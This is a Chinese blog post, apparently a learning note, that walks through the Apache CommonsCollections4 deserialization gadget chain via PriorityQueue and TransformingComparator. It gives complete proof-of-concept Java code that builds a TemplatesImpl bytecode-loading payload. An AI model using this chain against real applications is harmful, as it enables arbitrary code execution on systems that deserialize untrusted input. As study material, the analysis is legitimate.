CommonsCollections4

Chiexf Lv4

0x00 前言

在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两 个分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

不过说到底还是利用Transform类对象的transform()方法直接执行代码,或者是利用TemplatesImpl类实现类加载执行任意代码

0x01 利用条件

  • CommonsCollections 4.0
  • JDK暂无限制

0x02 利用链分析

首先,还是去找在哪个地方调用了**transform()**方法,这里可以看到找到的是

TransformingComparator类下的**compare()**方法

1
2
3
4
5
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里可以看到,在compare()方法中,调用了传入transformer对象的**transformer()**方法

现在就是可以去找哪里调用了**compare()方法,最好是直接重写了readObject(),并且可以直接走到compare()**方法

这边可能得对Java比较熟悉才好找

这边直接看利用链给的是java.util.PriorityQueue这个类,是一个优先队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

可以看到,在**readObject()的最后调用了heapify()**方法

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

紧接着在**heapify()中又调用了siftDown()**方法

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

而在**siftDown()方法中又调用了siftDownUsingComparator()**方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

可以看到在siftDownUsingComparator()方法中,调用了comparator对象的**compare()**方法,

而且往上翻可以发现,comparator对象可以在PriorityQueue类初始化对象的时候传进去

而且TransformingComparator类也实现了ComparatorSerializable接口

注:

旧的Commons-Collections包中的TransformingComparator类中并没有实现Serializable接口,所以无法利用

当前的利用链

1
2
3
4
5
6
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
Transformer.transform()

TemplateImpl执行代码

执行代码部分就是CC1CC3的写法了,以CC3为例

构造TemplateImpl类执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

//
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

这边就可以开始构造CC4

TransformingComparator

创建⼀个 TransformingComparator ,传⼊我们的Transformer

1
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue

实例化 PriorityQueue 对象

1
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

然后序列化、反序列化PriorityQueue对象,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());


//

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");

运行后会发现并没有执行出我们想要的结果

readObject中的heapify()打个断点,可以发现heapify()方法中的for循环里

size的大小为0,所以右移三位后还是为0

只有当size >= 2的时候,右移才会**>= 1**,条件才能成立

1
for (int i = (size >>> 1) - 1; i >= 0; i--)

所以可以给PriorityQueue对象添加两个参数

1
2
priorityQueue.add(1);
priorityQueue.add(2);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());


//

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

serialize(priorityQueue);
unserialize("ser.bin");

运行完会发现其实是在本地执行了,并且还出现了报错

原因是因为

1
priorityQueue.add(2);

在这个add方法中,会调用如下的方法

1
priorityQueue.add() -> priorityQueue.offer() -> priorityQueue.siftUp() -> priorityQueue.siftUpUsingComparator()

最后也会去调用到**siftUpUsingComparator(),然后也是调用compare(),再调用transform()**,然后走流程,所以会本地执行

可以这么解决

先传一个不会执行的代码,在**add()**完之后,再将不会执行的代码替换成会执行的代码

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
TemplatesImpl templates = new TemplatesImpl();

//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

//TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);
//
Class<? extends TransformingComparator> transformingComparatorClass = transformingComparator.getClass();
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

0x03 总结

0x04 参考链接

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec